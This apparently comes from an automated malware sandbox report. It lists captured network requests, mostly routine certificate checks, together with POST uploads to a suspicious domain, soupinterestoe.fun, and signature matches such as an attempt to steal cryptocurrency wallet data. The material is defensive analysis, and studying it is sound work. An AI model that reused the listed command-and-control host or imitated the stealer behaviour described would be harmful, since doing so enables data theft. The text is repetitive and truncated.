/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "User" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "Keep" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "/rootca1" in header "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Contains base64 string in header "Keep" in header "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Contains base64 string in header "User" in header "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Contains base64 string in header "2Bmc" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "2BXrrguICEAxnRZO2jQMmUC0dFSq96X0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m02.amazontrust.com" Contains base64 string in header "Keep" in header "GET /r2m02.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.r2m02.amazontrust.com" Contains base64 string in header "User" in header "GET /r2m02.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.r2m02.amazontrust.com" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBZwXm7t3kKEEFjsmHQeLcQ%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "AliveContent" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "form" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "like" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCEQClj3zJOwEs2AlR6v" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQClj3zJOwEs2AlR6v%2BfUXog HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQClj3zJOwEs2AlR6v%2BfUXog HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQClj3zJOwEs2AlR6v%2BfUXog HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQClj3zJOwEs2AlR6v%2BfUXog HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQClj3zJOwEs2AlR6v%2BfUXog HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "AliveContent" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "form" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "urlencodedCookie" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "/apiUser" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "like" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "2F3I1N1E" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQqHI%2BsdmapawQncL1rpCEZZ8gTSAQUVdkYX9IczAHhWLS%2Bq9lVQgHXLgICEATz2IlpoaRYSkOX%2F3I1N1E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m03.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQqHI%2BsdmapawQncL1rpCEZZ8gTSAQUVdkYX9IczAHhWLS%2Bq9lVQgHXLgICEATz2IlpoaRYSkOX%2F3I1N1E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m03.amazontrust.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQqHI%2BsdmapawQncL1rpCEZZ8gTSAQUVdkYX9IczAHhWLS%2Bq9lVQgHXLgICEATz2IlpoaRYSkOX%2F3I1N1E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m03.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQqHI%2BsdmapawQncL1rpCEZZ8gTSAQUVdkYX9IczAHhWLS%2Bq9lVQgHXLgICEATz2IlpoaRYSkOX%2F3I1N1E%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m03.amazontrust.com" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "AliveContent" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "data" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "be85de5ipdocierre1Cookie" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "/apiUser" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "like" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=Pu8Bowij15M_4Jp1pO5cNJ0z5EHbl.wjbH3PO5DsNEY-1703508398-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGpYRvzN3kAuEMlMWsqSFLc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog"2a:T579,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Decrypted SSL network traffic Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Contains ability to perform crypto operations2b:T2a0c,"a56da099e59801bac606963e44684336.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000480) "Qv9nk40.exe" called "RtlGetVersion" with parameter 